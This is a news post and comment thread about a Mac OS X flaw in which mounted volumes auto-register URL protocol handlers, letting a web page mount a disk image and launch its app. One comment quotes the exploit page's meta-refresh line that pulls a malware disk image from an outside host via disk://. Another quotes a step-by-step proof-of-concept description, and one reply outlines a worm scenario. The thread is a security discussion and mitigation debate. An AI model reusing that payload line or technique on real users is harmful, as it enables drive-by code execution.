Yet Another Mac OS X Protocol Handler Exploit

Rosyna writes "Apple just can't get any breaks lately. First the help protocol handler exploit (which has been fixed), then the telnet handler exploit, and now an exploit for any arbitrary protocol handler: make your own, then exploit it. You can auto mount a volume in Mac OS X via the disk, afp, or ftp handlers (and probably others). Paranoid Android will help prevent exploitation until Apple fixes the problem." The hole here is that when a volume with an application on it is mounted, Apple registers the application's specified protocol handlers, without additional user action. Another option is to disable those handlers that allow volume mounting, but playing that game, obviously, isn't a guaranteed win in the long run.

Comments

This is a Launch Services exploit

[mst76]

For more information, see the Carbon docs, in particular, the section "Registering Applications":

The Finder automatically registers all applications as it becomes aware of them, such as when they are dragged onto the user's disk or when the user navigates to a folder containing them.

and as we see with this exploit, whenever a volume is mounted. Doh! This is one of those handy MacOS features where the OS seems to find the right application as if by Magic even when the app is moved around. In this case though, it appears that too much Convenience has compromised Security. We can't really blame them though, I think this behaviour was inherited from Classic MacOS, before everyone was networked, and before security was such a big issue as it is today. The real test of Apple is how long it will take them to fix this hole.

Re:This is a Launch Services exploit

[aristotle-dude]

This is not a launch services exploit. Get your facts straight. It is an exploit that uses the disk protocol in conjunction with the Launch services "Registering Applications" feature. Application registration is a feature that I do not want to see disappear.

I would like to Apple to add a mandatory confirmation dialogue with warnings about possible security risks from mounting images from untrusted sources on any attempt to mount a disk image from the internet.

This would give the user ample warning and a chance to prevent the exploit.

Another alternative would be to do the above and include the option in the security prefs pane to enable/disable mounting of internet disk images.

Exploit doesn't effect Mozilla

[Anonymous Coward]

When I tried to run the proof-of-concept (linked to in the Paradoid Anderoid whitepaper on the exploit at unsanity. com/haxies/pa/whitepaper) using Mozilla 1.7b, DiskCopy gave the error "osxMalware.dmg" failed to mount due to error 2. (No such file or directory) and mozilla gave the error malware is not a registered protocol.. Maybe it's a safari-only 'sploit?

Re:Exploit doesn't effect Mozilla

[Anonymous Coward]

I use Safari and I got the same DiskCopy error; of course, I first had to enable the disk: URL scheme. I didn't get any other errors, from Safari or otherwise.

The Paranoid Android whitepaper mentions that that turning off various schemes like disk, afp, ftp, isn't a good solution, but since Paranoid Android won't install for 10.2.8 (I tried), for now, it seems to be the only solution for me; I use RCDefaultApp to disable those schemes. Anyone got a way to turn off this custom URL scheme business for 10.2.8?

Actually, since the exploit didn't work for me (for whatever reason) I guess I'm not even sure this works for 10.2.8; does anybody know if this is specifically for 10.3? The whitepaper doesn't say, and Paranoid Android is specifically listed for 10.3 or above.

Also uses meta-refresh

[tbmaddux]

The Finder automatically registers all applications as it becomes aware of them, such as when they are dragged onto the user's disk or when the user navigates to a folder containing them.

and as we see with this exploit, whenever a volume is mounted.

IMO the volume should never be downloaded or mounted. The exploit page includes the following:

<meta HTTP-EQUIV="refresh" content="0; URL=disk://www.geekspiff.com/unlinkedCrap/osxMalwa re.dmg">

So first off this is another exploit of the "disk:" protocol handler. The arbitrary protocol depends on the automatic download and mounting of that DMG file through the handler. It's definitely a security hole for that volume to get auto-mounted through meta-refresh, and I question whether it should even be downloaded. At a bare minimum the download should obey the preferences set in Safari about whether or not to open "safe" downloads, and disk image autorun upon mounting should be deactivateable (if not disabled entirely).

Much Ado About Not Much...

[lgw4]

I think this is mainly a PR stunt.

<quote>

Sample Exploit

Ive written a sample exploit that delivers and executes its payload without user intervention and operates by registering its own URL scheme handler. Until Paranoid Android, there was no way of protecting against this attack, which freaked me out enough to write Paranoid Android.:)

If you click the sample exploit link below, heres what will happen:

• A disk image named MalwareDiskImage will be mounted on your desktop.
• LaunchServices will read the Info.plist file of the application in this disk image automatically, and register the application as the default handler for URLs with a 'malware' scheme.
• The webpage will wait 10 seconds, and then redirect to malware:unused, causing LaunchServices to launch the payload application within the disk image.
• The application within the disk image will write a text file to the users home directory called owned.txt explaining that the machine has been exploited, will present an alert to the user, and will eject the disk image.

Because this sample exploit registers its own URL scheme, none of the methods people had been using involving disabling certain scripts, moving Help.app or changing the 'help' URL scheme would protect against it. At this time, only Paranoid Android provides protection from it.

benign sample exploit -->innocousPage.html

Portions of this sample exploit are based heavily on a prior sample exploit at insecure.ws Conclusions

Until Apple fixes this vulnerability, you should install Paranoid Android and surf safely.

Copyright Jason Harris, 2004, All Rights Reserved

</quote>

I'm using 10.3.3 and when I click on the sample exploit URI, nothing happens -- nothing. I've tried this thing 10+ times, scoured my HD for "owned.txt" and can find nothing. Of course, I installed the RCDefaultApp PreferencePane a couple of days ago and had already followed the suggestions posted by John Gruber on http://daringfireball.net but since Paranoid Android is the ONLY thing that can protect against this exploit, I'm at a loss as to explain why my machines aren't affected.

Fixing without losing the functionality?

[Midnight Thunder]

Reading up on the feature that causes the problem, it looks like something in normal situations to be very useful. Rather than simply disabling this functionality, it would certainly seem better to find a solution the security issue. Maybe one would be to require admin permission before activating the URL helper, with a warning of what it would do?

I had thought about requiring applications to be signed, and non-signed applications requiring extra permission, but since this issue is likey to arise from unsigned applications that the user would accept anyhow, would we just be gaining a false sense of security?

I would be curious to read your ideas.

Re:Fixing without losing the functionality?

[Jord]

The original idea would be to place disk: mounted images into a non-executable sandbox. Not images that you download and mount. These are two different things. Currently they are not being treated differnetly and the suggestion was/is that they should be handled slightly differently.

Trying to do one blanket change to fix everything is not the right answer in my opinion. The built-in protocols need to be looked at but sandboxing disk:// mounted images would solve the issue of maliciously created protocol handlers.

I have tested a lot of software on my OSX machine and I do not recall anyone ever using the disk:// protocol for an installer.

Forcing the user to launch an application just to register it's handlers would put a serious dent in the way that OSX handles applications. Personally that is a piece of functionality I would rather not lose.

Re:Fixing without losing the functionality?

[daveschroeder]

The original idea would be to place disk: mounted images into a non-executable sandbox.

Ok, but this still won't work, because disk:// isn't the only thing affected. The exploit can affect ANY type of network mounted volume: afp, smb, ftp, webdav, nfs, etc. Are you telling me that you shouldn't be able to execute anything from ANY network volume? That would break loads of things. (And also, even though the disk:-mounted-images-in-a-sandbox idea is invalidated because of this, just because you have never used disk: doesn't mean other don't.)

Therefore, consider a slightly scaled back version of my previous suggestion:

Don't allow URL/URI helpers to automatically register before execution of the application from network mounted volumes. I don't really see any other way to solve this. To reiterate: just making disk: mounted images non-executable sandboxes DOES NOT solve this problem; you'd have to make ALL network volumes non-executable sandboxes, and that simply will not work. If URL/URI helpers are disallowed from registering automatically from network volumes only, the problem is solved: this exploit is killed, but any apps on local volumes are allowed to register as usual.

Re:As an Apple Afficionado, I'm delighted.

[Jord]

At this point buying anti-virus software for OSX is a total waste of money. There still has yet to be a virus written for OS X. Chances are there won't be one for a long time to come if ever.

Yes this is a vulnerability. Yes it is bad. But a virus program would not protect you from this without altering the way that your system runs.

Does this need to be fixed? yes it does, but anti-virus software for OSX is still snake oil.

Re:As an Apple Afficionado, I'm delighted.

[Anonymous Coward]

I did not realize that "being secure" was a boolean.

Too long Apple users have gloated (senselessley) that OS X is somehow more secure than Windows

So something is either completely secure (along the lines of OpenBSD), or it is as open as Windows. And there is no middle ground there?

Even with the current exploits, OS X is still significantly more secure than most Windows installs.

Yes, I agree that OS X users need to take precautions and not just rely on the security of their machine. Even then, though, you can tell someone deciding between OS X and Windows "If you are reasonable careful on both platforms, you are still less likely to have problems with OS X, due to its security already in place."

Re:Alright

[Jord]

how many times have you downloaded something from Safari, to have it automount, and even run the installer?

Hmmm...Never. I have had Safari automount more disk images than I can count. Some of them have a EULA auto pop-up but never have I seen one run the installer automatically. If that were to happen, we would have seen a trojan on OSX a lot sooner.

More Shoes

[rixstep]

Can't this one escalate even further?

Can't trojans that get onto Macs turn into bona-fide worms, distributing themselves via Address Book and HTML e-mail that does the 'disk://' download?

Re:More Shoes

[Amiga Lover]

Can't trojans that get onto Macs turn into bona-fide worms, distributing themselves via Address Book and HTML e-mail that does the 'disk://' download?

Theoretically yes.

It's certainly possible to click on a link and have it run code that emails everyone in your address books with a mail that also has that same link in it. That would spread the link to many other people, many of whom would click on it.

However as yet the code only runs in userland and can stay executing no longer than a current session. rebooting will kill it and it won't come back unless clicked again. Because of that its ability to drop a payload that will be useful later to intrude on the machine is limited.

Re:The workarounds available at the moment

[zjavier]

At my hand, typing

applescript://

launched the Script Editor. I was unable to use other applications unless I quit the Script Editor.

Re:you make it sound...

[hak1du]

On Apple's main OS X page:

Safe and secure Because it's built on Open Source standards, Mac OS X provides you with time-tested security and reliability not available on proprietary systems.

Both the statement and the reasoning are wrong. Security is a property of the whole system, not something you can implement at one level and then forget about it. The existence of all the stuff that Apple adds on top of a UNIX-like base system (the user interface, Netinfo, fancy file abstractions, NeXTStep libraries, HFS+, Quartz, OS 9 emulation, Macintosh package system, etc.) mean that you can trust OS X much less than a traditional UNIX system.

Little Snitch

[oDDmON oUT]

[disclaimer:not affiliated with obdev, just a satisfied user]

Anyone surfing without an application sensitive firewall should catch a clue.

The first time Mozilla tried to mount a sample exploit .dmg Little Snitch popped up wanting to know if this should be allowed.

Granted, your run of the mill user would likely click through allowing the mount, but they would probably do the same with Paranoid Android, and LS covers all applications trying to establish external connections, a real plus in todays wired world.

Not a bug, but a misfeature

[santiago]

An important point is that this family of exploits is not the result of any programming errors. It is the result of everything working precisely as it was intended to, but there being unforeseen uses for the design as originally specified.